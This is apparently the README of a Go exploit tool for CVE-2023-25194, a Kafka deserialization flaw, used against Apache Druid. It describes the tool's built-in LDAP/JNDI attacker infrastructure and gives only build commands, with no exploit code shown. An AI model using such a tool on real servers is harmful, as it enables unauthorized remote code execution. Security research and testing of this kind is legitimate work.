Apache Druid CVE-2023-25194

CVE-2023-25194 is a deserialization vulnerability affecting Apache Kafka. This go-exploit demonstrates exploiting CVE-2023-25194 against Apache Druid (using Kafka). This type of attack typically requires an LDAP JNDI attacker infrastructure that is normally spread across a couple of tools. However, all of that is built into the go-exploit for ease of exploitation.

Compiling

To build the exploit into a docker image simply:

make docker

If you have a Go build environment handy, you can also just use make:

albinolobster@mournland:~/cve-2023-25194$ make
gofmt -d -w cve-2023-25194.go 
golangci-lint run --fix cve-2023-25194.go
GOOS=linux GOARCH=arm64 go build -o build/cve-2023-25194_linux-arm64 cve-2023-25194.go
